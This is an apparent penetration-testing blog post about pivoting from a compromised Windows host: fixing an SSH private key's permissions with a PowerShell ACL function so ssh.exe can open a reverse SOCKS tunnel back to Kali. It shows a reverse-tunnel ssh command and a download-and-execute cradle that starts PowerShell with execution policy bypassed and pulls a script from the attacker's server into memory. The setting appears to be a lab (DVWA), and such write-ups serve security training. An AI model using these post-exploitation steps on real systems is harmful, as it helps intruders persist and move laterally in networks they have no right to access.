The Problem
There have been times when I've gotten a reverse shell on a Windows target and wanted to use the ssh.exe
binary on the host to create a reverse SOCKS proxy back to Kali in order to pivot into the network.
I'd run something like this:
ssh -i <private-key-file> -fNTR <port number> user@kali-ip-address
Only to receive this annoying error message:
Bad permissions. Try removing permissions for user: ADDC1\\Domain Users (S-1-5-21-2239830804-1892431063-1869081798-513) on file C:/xampp/htdocs/dvwa/vulnerabilities/exec/test.
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: UNPROTECTED PRIVATE KEY FILE! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions for 'test' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "test": bad permissions
So, the permissions on the SSH private key file are too open. Normally on a Linux host, you'd just run chmod 600 <keyfile>
and call it a day. Not so straightforward on Windows.
If I run icacls <private key file>
in the remote shell, I see that the private key file has inherited a whole bunch of permissions that SSH does not like – and there is no bypass to the permissions check in the SSH binary.
icacls test
test ADDC1\Domain Users:(I)(RX)
BUILTIN\Administrators:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Users:(I)(RX)
NT AUTHORITY\Authenticated Users:(I)(M)
Successfully processed 1 files; Failed processing 0 files
The Solution
function Set-SSHPrivateKeyAcl {
[CmdletBinding()]
[Alias('setprivkeyacl')]
Param (
[Parameter(
Mandatory = $true,
ValueFromPipeline = $true
)]
[ValidateScript({
if (-not (Test-Path $_)) { throw "Invalid Path: $_"}
else { return $true }
})]
[String[]]
$KeyFilePath
)
process {
foreach ($file in $KeyFilePath) {
$acl = Get-Acl $file
$identity = whoami
$rights = 'FullControl'
$type = 'Allow'
# Create an access rule with the current user getting full access
$accessRule = New-Object -TypeName System.Security.AccessControl.FileSystemAccessRule -ArgumentList $identity, $rights, $type
# Add the rule to the object
$acl.SetAccessRule($accessRule)
# Apply the changes
Set-Acl $file $acl
$acl = Get-Acl $file
# Protect the file from inheritance
$isProtected = $true
# Remove existing inherited rules
$preserveInheritance = $false
# Strip inheritance
$acl.SetAccessRuleProtection($isProtected, $preserveInheritance)
# Apply changes
Set-Acl $file $acl
$acl = Get-Acl $file
# Remove any remaining access rules
$acl.Access |
Where-Object {$_.IdentityReference -ne $(whoami)} |
ForEach-Object { $acl.RemoveAccessRule($_)}
# Apply changes
Set-Acl $file $acl
}
}
}
- I start up a Python web server on Kali where the script file is stored
- From the reverse shell, I start a PowerShell instance:
powershell -nop -ep bypass
- I create a web client to download the script string and load it into memory:
$wc = New-Object Net.WebClient
$wc.DownloadString('http://kali-ip-address/Set-SSHPrivateKeyAcl.ps1') | Invoke-Expression
- The function is now loaded into memory
- I execute it on the SSH key file:
Set-SSHPrivateKeyAcl -KeyFile C:\Path\To\Key\File
Set-SSHPrivateKeyAcl -KeyFile .\test
icacls test
test ADDC1\web.user:(F)
Successfully processed 1 files; Failed processing 0 files
Perfect, now my reverse shell user is the only one with access to the key file.